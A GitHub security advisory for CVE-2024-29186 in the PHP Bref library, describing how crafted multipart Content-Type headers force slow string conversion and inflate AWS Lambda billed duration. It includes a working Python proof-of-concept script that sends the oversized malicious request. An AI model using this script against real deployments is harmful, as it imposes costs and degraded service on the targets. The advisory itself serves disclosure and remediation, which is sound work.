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Slow String Operations via MultiPart Requests in Event-Driven Functions

Moderate severity GitHub Reviewed Published Mar 22, 2024 in brefphp/bref • Updated Mar 22, 2024

Package

composer bref/bref (Composer)

Affected versions

< 2.1.17

Patched versions

2.1.17

Description

Impacted Resources

bref/src/Event/Http/Psr7Bridge.php:94-125
multipart-parser/src/StreamedPart.php:383-418

Description

When Bref is used with the Event-Driven Function runtime and the handler is a RequestHandlerInterface, then the Lambda event is converted to a PSR7 object.
During the conversion process, if the request is a MultiPart, each part is parsed. In the parsing process, the Content-Type header of each part is read using the Riverline/multipart-parser library.

The library, in the StreamedPart::parseHeaderContent function, performs slow multi-byte string operations on the header value.
Precisely, the mb_convert_encoding function is used with the first ($string) and third ($from_encoding) parameters read from the header value.

Impact

An attacker could send specifically crafted requests which would force the server into performing long operations with a consequent long billed duration.

The attack has the following requirements and limitations:

  • The Lambda should use the Event-Driven Function runtime.
  • The Lambda should use the RequestHandlerInterface handler.
  • The Lambda should implement at least an endpoint accepting POST requests.
  • The attacker can send requests up to 6MB long (this is enough to cause a billed duration between 400ms and 500ms with the default 1024MB RAM Lambda image of Bref).
  • If the Lambda uses a PHP runtime <= php-82 the impact is higher as the billed duration in the default 1024MB RAM Lambda image of Bref could be brought to more than 900ms for each request.

Notice that the vulnerability applies only to headers read from the request body as the request header has a limitation which allows a total maximum size of ~10KB.

PoC

  1. Create a new Bref project.
  2. Create an index.php file with the following content:
<?php

namespace App;

require __DIR__ . '/vendor/autoload.php';

use Nyholm\Psr7\Response;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use Psr\Http\Server\RequestHandlerInterface;

class MyHttpHandler implements RequestHandlerInterface
{
    public function handle(ServerRequestInterface $request): ResponseInterface
    {
        return new Response(200, [], "OK");
    }
}

return new MyHttpHandler();
  1. Use the following serverless.yml to deploy the Lambda:
service: app

provider:
    name: aws
    region: eu-central-1

plugins:
    - ./vendor/bref/bref

# Exclude files from deployment
package:
    patterns:
        - '!node_modules/**'
        - '!tests/**'

functions:
    api:
        handler: index.php
        runtime: php-83
        events:
            - httpApi: 'ANY /endpoint'
  1. Run the following python script with as first argument the domain assigned to the Lambda (e.g. python3 poc.py a10avtqg5c.execute-api.eu-central-1.amazonaws.com):
from requests import post
from sys import argv

if len(argv) != 2:
    print(f"Usage: {argv[0]} <domain>")
    exit()

url = f"https://{argv[1]}/endpoint"
headers = {"Content-Type": "multipart/form-data; boundary=a"}
data_normal = f"--a\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\nContent-Type: ;*=auto''{('a'*(4717792))}'\r\n--a--\r\n"
data_malicious = f"--a\r\nContent-Disposition: form-data; name=\"0\"\r\nContent-Type: ;*=auto''{('a'*(4717792))}'\r\n\r\n\r\n--a--\r\n"

print("[+] Sending normal request")
post(url, headers=headers, data=data_normal)

print("[+] Sending malicious request")
post(url, headers=headers, data=data_malicious)
  1. Observe the CloudWatch logs of the Lambda and notice that the first requests used less than 200ms of billed duration, while the second one, which has a malicious Content-Type header, used more than 400ms of billed duration.

Suggested Remediation

Perform an additional validation on the headers parsed via the StreamedPart::parseHeaderContent function to allow only legitimate headers with a reasonable length.

References

@mnapoli mnapoli published to brefphp/bref Mar 22, 2024
Published to the GitHub Advisory Database Mar 22, 2024
Reviewed Mar 22, 2024
Published by the National Vulnerability Database Mar 22, 2024
Last updated Mar 22, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

EPSS score

0.043%
(10th percentile)

Weaknesses

CVE ID

CVE-2024-29186

GHSA ID

GHSA-j4hq-f63x-f39r

Source code

Credits

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